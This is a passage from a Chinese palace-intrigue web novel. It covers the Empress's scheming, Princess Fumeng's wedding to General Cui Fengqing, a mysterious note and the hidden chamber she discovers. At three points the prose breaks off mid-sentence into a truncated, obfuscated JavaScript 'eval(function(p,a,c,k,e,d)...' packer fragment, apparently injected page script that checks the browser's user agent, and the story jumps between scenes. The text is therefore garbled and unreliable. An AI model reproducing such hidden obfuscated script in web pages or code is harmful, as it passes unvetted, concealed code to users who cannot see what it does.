她正用小银签子,极其耐心地拨弄着指甲边缘一丝细微的、几乎看不见的瑕疵。 听到那三声猫叫,她拨弄指甲的动作没有丝毫停顿,甚至连眼皮都未抬一下。 只是极其随意地,用那只染着艳丽蔻丹的手,对着侍立在暖阁角落阴影里的两名心腹宫女,轻轻挥了挥。 如同接收到无声的指令,两名宫女立刻无声地躬身,如同两道轻烟般迅速退出了暖阁,并轻轻带上了厚重的雕花木门。 门外侍立的太监宫女,也仿佛被无形的线牵引着,悄无声息地退到了更远的廊下。 几乎在暖阁门合拢的瞬间,一道黑影如同凭空出现般,自窗外悄无声息地滑入室内。 落地轻盈,如同狸猫,正是方才那道穿梭宫墙的身影。 甫一落地,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她顿了顿,目光如同带着钩子,细细描摹着黑影低垂的轮廓、紧抿的薄唇、以及那副毫无波澜、仿佛天生缺乏七情六欲的冷漠姿态,一丝奇异的光芒在她眼底深处一闪而逝。 “不过……”皇后红唇微启,声音压得更低了些,带着一种近乎耳语般的亲昵和品评, “比起那些粗人,你这模样……这身段……”她舌尖轻轻舔过饱满的下唇,笑容里多了几分说不清道不明的暧昧与审视,“倒让本宫瞧着……更顺眼几分呢。” 她的话音带着钩子,眼神更是充满了毫不掩饰的、带着占有欲的欣赏,暖阁内的空气仿佛都因为这直白的、上位者对下位者的“品鉴”而变得粘稠暧昧起来。 然而,就在皇后那带着钩子的目光和话语即将缠绕上跪地之人的瞬间—— “欻——” 跪在地上的黑影,毫无预兆地动了。 动作快得只留下一道模糊的残影。 他甚至没有抬头,没有做出任何回应,整个人如同被强弓射出的劲弩,以一种违背常理的、鬼魅般的速度,猛地向后一缩,紧接着便如壁虎般迅捷无比地倒掠而出。 “哗啦——!” 雕花的木窗被一股巨力猛地推开又瞬间合拢,发出一声短促而刺耳的撞击声。 窗外的夜风猛地灌入,吹得暖阁内的烛火剧烈摇曳,光影疯狂乱舞。 而那道黑影,已如同融入夜色的墨汁,彻底消失无踪,只留下那扇微微震颤的窗棂,证明他曾经来过。 “呵……呵呵呵……”短暂的死寂后,皇后非但没有动怒,反而像是看到了什么极其有趣的事情,低低地、愉悦地笑了起来。 笑声如同银铃,在空旷的暖阁内回荡,却无端透着一股森然的寒意。 她重新慵懒地靠回柔软的狐裘中,伸出那只染着艳丽凤仙花汁的手,对着摇曳的烛光,再次欣赏起自己完美的指甲。 指尖那抹艳红,在烛火映照下,红得刺眼,如同刚刚凝固的鲜血。 “这么多年了,倒是一点没变……”她喃喃自语,眼中笑意未减,却再无半分暖意,只剩下冰冷的算计和掌控一切的漠然,“还是这般……无趣又木讷。” 她轻轻屈伸着手指,那艳红的蔻丹如同毒蛇的信子。 “不过……”皇后唇角的弧度加深,带着一种残酷的满意,“和他也越来越像了……” 她的目光似乎穿透了华丽的殿宇,望向了遥远的长安城外,那处此刻想必已化作焦炭的庄园方向。 一丝极淡的、不易察觉的阴霾掠过她妩媚的眼眸。 万全这把老刀折了,虽然可惜,但也算是物尽其用,崔逢青和那位熙仁公主,想必此刻正对着那堆焦炭,一筹莫展吧? 想到这里,皇后脸上的笑容愈发娇艳动人。 她收回欣赏指甲的目光,转而投向梳妆台上那面镶嵌着七彩琉璃的菱花镜,镜中映出一张娇俏的容颜,眼波流转间,却淬着最冷的毒。 “唔……”她伸出指尖,轻轻拂过镜面,仿佛在抚摸自己的倒影,声音轻得如同情人间的呢喃,却带着不容置疑的决断: “万全没了……那么,那件‘压箱底’的事情……也该提上日程了。” 镜中,那双妩媚至极的眸子里,杀机一闪而逝。 14. 大婚 桂月初六。 长安城被一片铺天盖地的赤色席卷。 象征着“百年好合”的桂子尚未飘香,整座帝都却已沉浸在喜庆之中。 宫墙内外,金楼玉阙,目之所及,皆是大红宫绡。 午后,熙仁公主浮梦身着繁复华美的翟衣,头戴沉甸甸的九翚四凤冠,珠翠流苏垂落,遮住了她大半面容。 她端坐于厌翟车中,车身镶嵌金玉,由八匹纯白骏马牵引,在皇家仪卫森严的簇拥下,缓缓巡行于长安城的主要街道,是皇室向天下昭告其威仪与恩宠。 然而,透过厌翟车薄如蝉翼的纱帘,浮梦看到的,却远非纯粹的欢腾。 街道两旁人头攒动,百姓们伸长脖子,脸上混杂着敬畏、好奇与一种难以言喻的亢奋。 喧嚣的声浪中,她敏锐地捕捉到那些被刻意压低、却依旧顽强钻入车内的议论碎片: “……到底是皇家嫁女,这排场……啧啧……” “嘿,排场再大,能大过前几日的火烧公主府?” “嘘!慎言!……不过,你们听说了吗?城西那案子……” “对对对,人好像还是没回来,骠骑将军不是接了这差事吗?怎么……” “嘘——别提了!晦气!……诶,你们知道‘旧故里’吗?今儿个一早,大门紧闭,挂牌歇业了,里头的人,一夜之间全不见了!跟鬼似的……” “啊?‘旧故里’?那不是熙仁公主……咳咳……常去的地儿吗?这节骨眼上关门?蹊跷!太蹊跷了!” 城西悬案未破,“旧故里”的陡然关闭,人去楼空……这些消息如同冰冷的毒蛇,缠绕在浮梦心头,让她身披华服、置身喧嚣的中心,却感到一种彻骨的寒意与孤立。 这场盛大婚礼的华美外袍之下,是长安城涌动不安的暗流,以及指向她和她身边人无形的漩涡。 日入时分,夕阳熔金,将金楼染成一片辉煌的赤金。 依照礼制,驸马崔逢青需在金楼之外迎亲。 当那道颀长挺拔、身着玄色底绣金线麒麟吉服的身影出现在金楼门口时,围观的勋贵宗亲、命妇朝臣们,心中无不掀起惊涛骇浪。 大不同了! 这与彩楼下那个冷硬如铁、托着绣球如同托着烫手山芋、甚至拂袖而去留下满城惊愕的“冷面阎罗”,判若两人。 眼前的崔逢青,面容依旧冷峻,线条刚硬,但姿态却无可挑剔地遵循着每一项繁琐的皇家婚仪。 他步伐沉稳,目光平视,对着厌翟车方向,一丝不苟地行着迎亲大礼。 那份专注与……略带僵硬的恭谨,让所有等着看皇室与崔家撕破脸、或是崔逢青当众给公主难堪的人,都惊掉了下巴。 崔太傅“抱恙”缺席的阴影,似乎并未影响这位骠骑将军分毫。 他如同上阵打战,完美地执行着“迎亲”这一道程序。这异常的“顺利”与“配合”,本身就透着一股令人不安的诡异。 太常寺的乐工们身着庄重礼服,分列金楼两侧。 编钟、编磬的清越悠扬,笙箫管笛的婉转和鸣,与节奏分明的鼓乐交织在一起,奏响宏大肃穆的雅乐。庄重喜庆,带着一种沉甸甸的、压迫人心的力量。 皇家仪仗队盔明甲亮,手持金瓜、钺斧、旌旗、幡幢,如同冰冷的金属丛林,肃立无声。绣着祥云瑞兽的旗帜在晚风中猎猎作响,带着凛冽的杀伐之气。 盛装的宫女内侍手捧香炉、花篮、宫扇,垂首侍立,动作整齐划一,如同没有生命的精致木偶。 在礼官拖长了调子、近乎吟唱的高亢唱礼声中,浮梦在侍女的簇拥下,缓缓步下厌翟车。沉重的凤冠压得她脖颈酸痛,繁复的翟衣束缚着她的行动。 她一步步,踏着猩红的地毯,走向御座(象征皇帝亲临),屈膝,行礼,谢恩。每一个动作都如同在刀尖上舞蹈,精准而麻木。 随后,她移步至崔逢青面前,依照“却扇礼”,她需用手中那柄精美的团扇遮面,直到礼成。 在无数道或艳羡、或嫉妒、或探究、或等着看好戏的目光注视下,浮梦深吸一口气,缓缓移开了遮面的团扇。 她从未想过崔逢请会吟“却扇诗”,按着流程缓缓却扇。 那一瞬间,时间仿佛凝滞。 夕阳的余晖穿过金楼的飞檐,温柔地笼罩在她脸上。 卸去了往日或慵懒或戏谑的伪装,也褪去了刻意堆砌的惶恐, 此刻的浮梦,眉目如画,肌肤胜雪,一双杏眸在珠翠流苏的掩映下,清澈得如同山涧寒潭,带着一种惊心动魄的、近乎脆弱的美丽。 华服与凤冠的沉重,反而更衬出她那份倔强孤绝的气质,如同冰雪中怒放的红梅。 崔逢青的目光落在她脸上,有瞬间的凝滞。 他深邃的眼眸中,惊艳如同投入深潭的石子,漾开层层涟漪,随即被一种更深沉、更复杂的情绪覆盖—— 那情绪太深,太快,快得让人抓不住,仿佛只是烛火跳动下的一抹错觉。 随即,他垂下眼睑,掩去了所有波动。 全场屏息,随即爆发出由衷的赞叹与潮水般的欢呼。这欢呼声浪,却如同隔着一层厚厚的琉璃,模糊地冲击着浮梦的耳膜。 礼官的声音再次响起。 浮梦与崔逢青并肩,走向铺设着华丽锦茵的青庐。在礼官的高声唱和下,他们行三拜之礼: 一拜皇权御座—— 二拜皇室宗亲—— 三夫妻对拜——两人相对躬身,额头几乎要触碰到一起。 咫尺之距,浮梦能闻到他身上清冽的松柏气息,混杂着一丝若有似无的铁锈味。 她垂着眼,只看到他玄色吉服上冰冷的金线刺绣。 这最后一拜,如同将两条本不该相交的线,强行打上了一个死结。 夜幕降临,金楼内外亮如白昼。 无数琉璃宫灯、鎏金蟠龙烛台以及高耸的百枝灯树同时点燃,将宏伟的宫殿映照得宛如坠落凡尘的天上宫阙,璀璨夺目,却也虚幻得令人心慌。 盛大的夜宴开始了, 霓裳羽衣的舞姬在琉璃灯海中旋舞翩跹,身姿曼妙,如同月宫仙子。 鼓点激昂,震得垂挂的彩帐簌簌作响,其间系着的金钱、瑞果纷纷坠落,引得席间宾客争相哄抢,一派奢靡狂欢的景象。 然而,这极致的繁华与喧嚣,却如同隔着一层无形的屏障,与新婚二人无关。 终于,繁复的仪式结束。浮梦被送入金楼婚房。 洞房内,红烛高燃,锦被绣褥,处处透着喜庆。 空气中弥漫着浓郁的香气,甜腻得让人有些窒息。 几位负责“教导”和“见证”的皇室命妇垂手侍立一旁,脸上带着程式化的笑容,眼神却忍不住在两位新人身上逡巡,充满了探究与好奇。 浮梦端坐于宽大的婚床右侧,姿态端庄,脊背挺得笔直,如同绷紧的弓弦。 凤冠已被取下,繁复的发髻依旧沉重。崔逢青则立于床左侧,身姿挺拔如松,玄色吉服在烛光下泛着幽暗的光泽。 他目光低垂,看着脚下猩红的地毯,脸上没有任何表情,仿佛一尊没有生命的雕像。 洞房内的气氛凝滞得如同结了冰,红烛燃烧的噼啪声,命妇们细微的呼吸声,都被无限放大,敲打着紧绷的神经。 浮梦心中翻涌着无数疑问:万全的下落?庄园被焚的真相?“旧故里”的关闭……她迫切需要从崔逢青这里得到一些线索,哪怕只是只言片语。 然而,那几个命妇如同木桩般杵在那里,眼神如同探照灯。 她深吸一口气,决定打破这令人窒息的沉默。她微微侧首,目光扫过那几位命妇,声音不大,却带着一种不容置疑的公主威仪,清晰地回荡在洞房内: “本宫乏了,尔等退下吧。” 命妇们闻言,脸上程式化的笑容瞬间僵住,面面相觑。 按照规矩,她们需得“侍奉”到新人饮下合卺酒,甚至……更久。一位年长的命妇犹豫着上前一步,嘴唇嚅动,似乎想委婉提醒规矩。 浮梦的目光冷冷地落在她脸上,那眼神锐利如冰锥,带着昔日“长安笑柄”所没有的、令人心悸的压迫感。她并未再开口,只是那样静静地看着。 命妇心头猛地一颤,瞬间想起了这位公主虽表面纨绔浪荡,但心狠手辣才是底色,更想起了彩楼下那位煞神驸马冰冷的目光。 权衡利弊,终究是颈上人头和家族前程要紧。她慌忙低下头,与其他几人交换了一个无奈又隐含恐惧的眼神,齐齐躬身,声音带着一丝不易察觉的颤抖: “是……奴婢等告退,愿公主与驸马……百年好合,早……早生贵子。” 说罢,如同逃离龙潭虎穴般,迅速退出了洞房,并轻轻带上了房门。 沉重的雕花木门合拢,隔绝了外界的喧嚣与窥探。偌大的洞房内,只剩下浮梦与崔逢青两人,以及满室摇曳的烛光和甜腻得令人发昏的香气。 空气仿佛凝固了。 方才命妇在场时的凝滞,此刻化作一种更深的、无声的张力,在两人之间弥漫。浮梦甚至能清晰地听到自己擂鼓般的心跳声。 她深吸一口气,正欲开口,将憋了一路的关于万全的问题抛向崔逢青—— 然而,崔逢青动了。 他并未走向她,也未坐下。 而是径直走向房间中央那张铺着龙凤呈祥锦缎的圆桌,桌上,早已备好了合卺酒——那是由一个剖开的、用红线系在一起的匏瓜盛着的美酒。 他端起其中一半匏瓜,动作平稳。 然后,在浮梦略带错愕的目光注视下,他竟没有如寻常新郎般站着递酒,而是……俯下身,单膝微屈,以一种近乎平等的、甚至带着一丝谦卑的姿态,蹲在了浮梦面前。 两人的视线,第一次在这样近的距离,毫无遮挡地平齐了。 崔逢青双手捧着那半匏酒,稳稳地递到浮梦面前。 烛光跳跃在他深邃的眼眸中,那里面似乎翻涌着极其复杂的情绪,不再是宴席上的冰冷,也不是彩楼下的漠然,更非平日相处时那种带着距离感的沉着。 他的声音低沉,带着一种浮梦从未听过的、难以言喻的……郑重? “殿下,”他看着她,一字一句清晰地说道,“仪式未完。” 浮梦完全懵了,命妇都遣走了,这戏……还要演给谁看?给这满屋子的红烛吗?她下意识地看向紧闭的房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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然后,在浮梦惊愕的注视下,这位名震天下的骠骑大将军,以一种近乎笨拙又带着点孩子气的动作,开始抓起那些金钱彩果,一把一把地抛洒向铺设着百子千孙被的婚床。 金钱叮当作响,彩果噼啪落下,滚落在锦被上、脚踏上、甚至……有几颗圆滚滚的桂圆和栗子,不偏不倚地蹦跳着,轻轻砸在了端坐床沿的浮梦的膝头和裙摆上。 “……” 浮梦彻底石化,她微微张着嘴,看着眼前这荒诞至极的一幕,脑中一片空白。 这……这是在干什么?!难道屋外真的有人监视?可若真有人,他刚才为何不阻止自己遣走命妇?反而要自己亲自来做这些……这些本该由喜娘完成的、充满象征意义却又无比琐碎的仪式? 太怪了……眼前的崔逢青,浑身上下都透着一股说不出的怪异,与他平日的冷硬、深沉、心机叵测,判若两人,难道被某种东西……附身了? 浮梦心中的戒备瞬间飙升到了顶点,袖中的手,下意识地摸向了贴身藏着的、那个装着致命毒药的小瓷瓶,指尖触碰到冰凉的瓷壁,才让她找回一丝镇定。 崔逢青似乎浑然不觉她的惊疑与戒备。 他认真地、一丝不苟地抛洒完最后一把彩果,看着满床象征喜庆和祝福的物件,仿佛完成了一项神圣的使命。 他缓缓直起身,目光终于再次投向浮梦。 然而,就在他视线触及浮梦那张写满不解、困惑和浓重戒备的脸庞时,他脸上那点因“完成仪式”而浮现的、近乎纯粹的欣然之色,如同被寒风刮过的烛火,瞬间熄灭得干干净净。 眼神里的那点迷蒙和暖意骤然褪去,取而代之的,是浮梦熟悉的、如同深潭寒冰般的清澈与……冰冷。 那转变如此突兀,如此彻底,仿佛刚才那个笨拙撒帐的男人只是一个短暂的幻影。 崔逢青的薄唇抿成一条冷硬的直线,他避开浮梦探究的目光,声音恢复了惯常的平稳无波,甚至带着一丝刻意的疏离: “殿下不必多虑,此乃婚制仪式。” 他顿了顿,目光扫过满床的狼藉,又飞快地瞥了浮梦一眼,那眼神复杂难辨,似乎想说什么,但最终只是化作一句:“夜已深,殿下早些安置。” 话音未落,他已毫不犹豫地转身,大步流星地朝房门走去。动作快得带起一阵风,吹得近旁的烛火猛烈摇曳。 “等……” 浮梦下意识地出声,她还有关于万全、关于庄园的疑问要问,她甚至已经想好了措辞。 然而,“欻啦”一声轻响,房门被崔逢青拉开,他高大的身影没有丝毫停顿,迅速闪身而出,随即房门又被轻轻但迅速地合拢。 “走这么快干嘛?” 浮梦后半句带着懊恼的疑问,被生生关在了寂静而诡异的洞房之内。 她独自一人坐在铺满金钱彩果的婚床上,望着那扇紧闭的房门,满室摇曳的烛光将她孤零零的影子拉得很长。 红烛燃烧的噼啪声,甜腻的香气,以及膝头那颗滚落的、冰凉坚硬的桂圆,都在无声地嘲笑着这场盛大婚礼的荒诞。 崔逢青最后那清澈又冰冷的眼神,与他之前那近乎虔诚地完成仪式的模样,在她脑海中反复交错。 巨大的疑惑如同冰冷的藤蔓,缠绕上她的心脏。 万全之事未问,庄园之疑未解,而她的新婚夫君,却在完成了一系列匪夷所思的“仪式”后,如同逃避洪水猛兽般,消失在了门外深沉的夜色里。 这洞房花烛夜,只剩下她一人,与满床象征“圆满”的金钱彩果为伴,咫尺之间,已是天涯。 崔逢青离开后,那扇紧闭的房门突然动了,掉进了一个物件…… 15.卷缸 婚房内,红烛摇曳,甜腻的香气与满地象征“圆满”的金钱彩果交织出一种怪诞的喜庆。 浮梦独坐床沿,指尖无意识地捻着一颗冰凉的桂圆,崔逢青最后那清澈又冰冷、与之前判若两人的眼神,在她脑中反复闪现。 门外,春意一直屏息凝神地守在不远处。 当崔逢青那玄色的身影如同融入夜色般迅速消失后,她心头一紧,立刻三步并作两步掠至婚房门前,屈指轻叩雕花木门,声音压得极低,带着掩饰不住的焦急: “殿下?您还好吗?可是……发生了什么事?” 浮梦正凝神盯着门缝下那片阴影——那里似乎多了一点不该存在的东西,被微弱的烛光勾勒出模糊的轮廓。 春意突如其来的声音让她指尖一颤,桂圆“嗒”地一声滚落在地毯上,她深吸了几口气,才压下骤然加速的心跳。 “从左边门进来,”浮梦的声音恢复了平日的冷静,目光依旧锁着门缝,“动作轻些。” 春意得了指令,立刻警惕地环视四周。 夜色深沉,廊下寂静无声,只有远处宫宴的隐约乐音飘渺传来。 确认无人窥伺,她如同灵巧的狸猫,贴着门栓,无声无息地推开了左侧房门,迅速闪身而入,又轻轻合拢。 一眼扫过屋内,未见异常,春意快步走到浮梦跟前蹲下,急切地仰头问道: “殿下,到底怎么了?将军他……”她总觉得崔逢青离开时的背影,透着一股说不出的怪异。 “嘘——”浮梦竖起食指,打断了她,目光并未离开目标,“看到门缝下那东西了吗?” 春意循着视线望去,借着烛光仔细辨认:“像……像是一卷小纸笺?” 浮梦心中微动。 她缓缓起身,朝着那可疑之物靠近,指尖在袖中悄然滑过贴身暗袋里那个冰凉的小瓷瓶——那里面装着她精心调配、曾让一只雄赳赳的大公鸡瞬间毙命的剧毒。 若这是某种陷阱…… 她蹲下身,并未直接触碰,而是先谨慎地观察。 纸卷质地普通,静静地躺在门缝与地面的缝隙间,并无机关痕迹。 有人避开了崔逢青,也避开了守卫的耳目,将这东西送了进来。 春意紧张地注视着,几乎要屏住呼吸,却见浮梦已伸出手,利落地将纸卷拾起,展开。 她悬着的心这才落回一半,凑近问道:“殿下,上面写的什么?” 浮梦的目光落在纸上,只有一行简短却足以惊心动魄的字: “欲知真相,寒客居暗格。” 寒客居…… 这三个字像一枚冰冷的针,刺入浮梦的神经。 寒客居是这金楼主殿的名字,她曾问过皇帝,彼时他眼中掠过一丝复杂难辨的情绪,只淡淡说了一句:“你母亲……喜爱腊梅。” 而这字迹……浮梦微微蹙眉,总觉得有几分眼熟,却又一时想不起在何处见过。 “寒客居……”她低声重复,目光投向敞开的左侧门扉。 透过门缝,恰好能望见不远处寒客居主殿肃穆的轮廓。酷暑正盛,殿前那两株光秃秃的腊梅树寂寥地立着,无花无叶,在月光下投下扭曲的暗影。 纸条出现的时机太过精准。 浮梦眸色转深:“崔逢青走后,你可有看到任何人接近此门?” 春意立刻摇头,语气笃定:“没有!奴婢一直紧盯着四周,将军离开后,偏殿附近就静得出奇,只有……只有几声野猫叫,再无其他动静。”她努力回忆每一个细节。 “那么,这纸条是如何进来的?”浮梦心中疑窦丛生。 金楼重地,守卫森严,连只苍蝇飞入都难,送信之人不仅能悄无声息地将纸条塞进门缝,还精准知晓寒客居的存在,甚至点明“暗格”?是试探?还是……她一直追寻的答案,就藏在那里? “城西那案子,后来如何了?”浮梦转而问道。 自郊外庄园被焚后,她便被皇后派来的嬷嬷以“筹备大婚”为由拘在客栈,消息隔绝。 只知皇帝召见过崔逢青,随后便得了“婚礼如期、暂居金楼”的旨意。 春意连忙回禀:“奴婢昨日在客栈外遇到王校尉他们吃饭,听了几句。说是……城西一案已结,所有罪责归到了万全头上,死无对证。皇上给那些遇害的人家发了丧葬费和抚恤金,算是……了结了。” “了结?”浮梦嘴角勾起一抹冰冷的弧度, “下令彻查的是他,喊停结案的也是他,这背后,到底想掩盖什么?”她捏紧了手中的纸条,指节微微泛白。 这封来历不明的信,指向的“真相”,是否就与此有关?或者……是更深、更致命的秘密? 此人能避开崔逢青的耳目,潜入金楼,手段非凡。 无论是敌是友,眼下她似乎别无选择,只能去探一探这“寒客居”。 “春意,”浮梦当机立断,走到铜镜前,“你留在这里,若有人来寻,就说本宫……不胜酒力,已歇下了。”她开始动手拆解头上繁复沉重的珠翠。 春意看着公主坚定的神色,心知劝阻无用,只能压下满腹担忧,上前利落地帮她卸下金钗玉珞。很快,浮梦换上了一身便于行动的素色常服。 “殿下,千万小心!”春意最后叮嘱道,眼神里满是忧虑。 浮梦点点头,身形一闪,便融入了偏殿外的阴影之中。她循着记忆中的路径,朝着寒客居主殿的方向潜行。 或许是今日大婚,守卫大多集中在宴席区域和宫门要道,通往寒客居的回廊显得格外空旷寂静。浮梦一路屏息凝神,竟未遇到任何阻碍。 直到接近寒客居正殿大门,才看到两名披甲执锐的士兵如雕塑般分立左右,纹丝不动。 浮梦隐在廊柱后的花丛阴影里,耐心等待。时间一点点流逝,腿脚渐渐发麻,那两人却如同生了根一般。 正当她考虑是否要冒险绕路时,远处忽然传来一阵刻意压低的、带着几分醉意的喧哗。 只见几个同样装束的士兵勾肩搭背地走来,为首一人扬了扬手中的酒囊,对着守门的两人招呼道: “嘿!兄弟,换班了!前头宴席撤下来的好酒好菜,管事的分了兄弟们一些,快些去,迟了可没了!” 守门的两人对视一眼,显然有些意动,又有些犹豫职责。 来人不由分说地上前,热情地搂住一人肩膀,半推半劝地将他们带离了岗位,剩下那人也很快被其他人簇拥着,说笑着走远了。 浮梦心知这绝非巧合,那纸条的主人,竟连守卫都能调开?她不敢耽搁,趁着这短暂的空隙,如同离弦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她盯着那扇凭空出现的门,又低头看了看自己刚刚“擦”过花瓶的手,再抬头看看门……一股强烈的荒诞感油然而生。 她刚刚费尽心思拧、转、提、压,机关没反应。结果……只是气不过随手用力一擦瓶身,它就……开了? 这机关设计者怕不是个……妙人?浮梦嘴角忍不住抽搐了一下,感觉头顶仿佛有一群乌鸦拖着长长的省略号飞过。 然而,这荒诞感只持续了一瞬,便被更强烈的、探寻真相的渴望压过。 她深吸一口气,再次警惕地扫视门外——依旧寂静无声。 不再犹豫,她快步上前,伸手推向那扇暗门。 门,应手而开。比她想象中要轻便得多。 一股混合着陈旧纸张、墨香与一丝若有若无、早已淡去的清冷梅香的气息扑面而来。 浮梦屏住呼吸,一步踏入这尘封的密室。 下一秒,她的瞳孔骤然收缩,呼吸瞬间停滞! 摇曳的烛光从她身后透入,照亮了密室内的景象—— 那是她此生都难以忘怀的、足以颠覆一切认知的……景象。 16.恶心 “嘿哥们!这酒够劲儿吧?来来来,尝尝这刚出锅的炙羊肉!管事的特意给兄弟们留的!” 门外,那刻意拔高,带着浓浓醉意的熟悉声音再次响起,在寂静的夜色中显得格外清晰,完美掩盖了其他响动。 脚步声杂乱,伴随着杯盘磕碰的轻响,由远及近,明显是朝主殿而来。这喧闹如同一盆冷水,瞬间浇醒了浮梦。 她如同被无形的重锤击中,背脊紧贴着冰冷的墙壁,才勉强支撑住摇摇欲坠的身体。 暗格内,借着门缝透入的微弱烛光所窥见的景象——那密密麻麻悬挂的、描绘着各种难以言喻姿态的画像,画像中女子那酷似母亲却充满屈辱与痛苦的脸庞,以及散落一地的、写满狎昵诗词的泛黄纸笺—— 如同最恶毒的诅咒,一遍遍在她脑海中疯狂闪现,刻骨铭心。胃里翻江倒海,一股冰冷的恨意和灭顶的悲凉几乎将她吞噬。 “活下去……必须活下去……” 一个冰冷的声音在心底嘶吼,压倒了所有眩晕与恶心。她用力掐住大腿内侧最柔软的皮肉,尖锐的痛楚带来一丝残酷的清明。 “母亲,等我。”无声的誓言在齿间碾过。 她猛地撑起身,动作因强烈的情绪冲击而带着不易察觉的颤抖。 以最快的速度将卷缸推回原位,抹去自己留下的所有痕迹。 目光扫过紧闭的殿门,守卫的声音已近在咫尺,她毫不犹豫地扑向离暗格最近的一扇高窗,费力地推开一条缝隙,身形灵巧地钻了出去,落地时脚步踉跄了一下才站稳。 殿外,巡逻的守卫明显增多,火把的光影在宫墙间晃动。 浮梦心中警铃大作:糟了,算算时辰,宫宴怕是彻底散了,按礼制,喜婆该去请驸马“归房”了,若是崔逢青回到婚房发现她不在……她该如何解释? 心,瞬间提到了嗓子眼。 她像受惊的兔子般紧贴在冰冷的宫墙阴影里,试图寻找守卫巡逻的空隙。 刚试探着探出一只脚,不远处一队巡逻士兵的脚步声和盔甲摩擦声便清晰传来,吓得她立刻缩了回去,屏住呼吸,心脏在胸腔里擂鼓般狂跳。 与此同时,婚房外廊下 几名喜婆果然重整旗鼓,脸上堆砌着比方才更加夸张的喜庆笑容,全然不见之前提及崔将军时的大惊失色。 她们簇拥着走向崔逢青暂歇的偏厅,眼神热切地在他身上打转,仿佛在无声地提醒:驸马爷,还有“结发”、“撒帐”之后的赏钱呢?图个吉利嘛! 崔逢青正听着亲卫月明的低语,内容显然包括公主的行踪以及檐角那几只“老鼠”,闻言,只冷淡地抬了下眼皮。 喜婆们堆着笑刚想开口,他身后的亲卫便已上前一步,魁梧的身躯带着无形的压迫感,一个眼神扫过去,硬生生将她们涌到嘴边的话堵了回去。 崔逢青本人则仿佛后脑勺长了眼睛,每次喜婆试图靠近搭话,他便恰好侧身或加快步伐,精准地避开所有“讨赏”的企图。 几次三番下来,喜婆们脸上的笑容都快挂不住了,只能悻悻地跟在后面,把最后的希望寄托在公主身上——毕竟新娘子脸皮薄,总不好意思让她们空手而归吧? 可惜,算盘再次落空。 婚房门开了一条缝,露出春意紧绷的小脸,她将门缝挡得严严实实,只低声道:“将军,殿下……已歇下了。”眼神警惕地扫过喜婆们。 透过门缝,隐约可见内室垂落的帷幔。 崔逢青面沉如水,微微颔首,侧身便进了婚房。 春意紧随其后,迅速将门关上,然后如同门神般和那亲卫一左一右守在门口,目光炯炯地盯着那几位不死心的喜婆,无声地传达着“还不走?”的逐客令。 喜婆们面面相觑,脸上是毫不掩饰的失望与愤懑。到嘴的肥肉飞了!几人交换了一个晦气的眼神,终究不敢在骠骑将军门前造次,只得悻悻然地转身离去,嘴里还小声嘟囔着晦气。 偏殿檐角阴影处。 “哎哟……谢兄,咱们还要蹲多久?腿都麻了!”一个纨绔揉着酸痛的腿肚子,忍不住低声抱怨, “公主大婚普天同庆是不假,可咱哥几个猫在这儿喝西北风……图啥啊?” 他其实更想问:您老该不会真对熙仁公主,有什么非分之想吧?那可是皇上唯一的女儿,还嫁给了活阎王崔逢青,喝高了也不该做这种送死的梦啊! 谢今茛没好气地反手就是一个爆栗敲在他脑门上:“闭嘴!你懂个屁!” 他压低声音,带着一种掌握秘密的优越感,“本世子可是听说了,咱们这位圣上……对这位熙仁公主,可未必像面上那么宠爱。这里头水深着呢……” 他故意卖了个关子,目光依旧死死盯着那紧闭的婚房门,仿佛想用眼神穿透门板。 就在这时,廊下传来一阵异响,三人瞬间吓得魂飞魄散,本能地往阴影里缩,身体紧贴着冰冷的瓦片。 然而下一秒—— 一道如同铁塔般的身影毫无预兆地出现在他们头顶的檐角,月光勾勒出月明那张棱角分明、毫无表情的脸。 他如同盯住猎物的鹰隼,居高临下地俯视着下面三只瑟瑟发抖的“老鼠”。 “啊——鬼啊!”一个胆小的纨绔吓得失声尖叫。 “啪!咚!啊——!” 如同下饺子般,三人被这突如其来的惊吓弄得手忙脚乱,一个接一个从并不高的檐角狼狈地摔了下来,痛呼声此起彼伏。 月明依旧稳稳立在原地,声音刻板冰冷,如同宣读判决:“夜深了。将军有令,请诸位公子速速离去。改日,将军自当‘好好款待’。” 他将“款待”二字咬得极重,带着铁锈般的血腥气。说完,不等三人反应,身影一晃,便再次消失在屋檐的阴影里。 三人摔得七荤八素,惊魂未定地对视一眼,都从对方眼中看到了恐惧。什么秘密,什么看热闹,此刻都抛到了九霄云外。 “走……快走!”谢今茛强撑着爬起来,色厉内荏地低吼一声,带头就往外跑,脚下步子迈得又大又急,仿佛身后真有恶鬼索命。另两人连滚爬爬地跟上,很快消失在偏殿的范围。 浮梦刚小心翼翼地绕回偏殿附近,差点与这仓皇逃窜的三人迎面撞上。 她反应极快,闪身躲进一丛茂密的树影后,屏住呼吸。只听得谢今茛边跑边喘着粗气,兀自嘴硬:“怕……怕他?笑话!我乃堂堂谢……”后面的话被风声和急促的脚步声淹没。 浮梦看着他跑得连滚带爬的背影,嘴角忍不住抽搐了一下,无声吐槽:“这谢今茛……怕不是个傻子吧?” 她定了定神,迅速溜回婚房。 春意看到她,眼睛猛地一亮,随即又拼命朝她使眼色,小嘴无声地张合,目光焦急地瞥向紧闭的房门,再瞥瞥旁边如同铁塔般杵着的—— 那意思再明显不过:将军在里面!而且知道您出去了! 浮梦心头一紧,下意识地就想转身溜走。 然而,她的动作仿佛早已被屋内之人预知。 一个低沉平稳、听不出喜怒的声音,隔着厚重的门板清晰地传了出来,瞬间钉住了她的脚步: “臣,恭候殿下多时了。” 浮梦动作一僵,深吸一口气,索性破罐子破摔。她脸上迅速挂起那副惯常的、带着点漫不经心又隐含挑衅的笑容,抬手—— “砰!” 用力推开了房门, 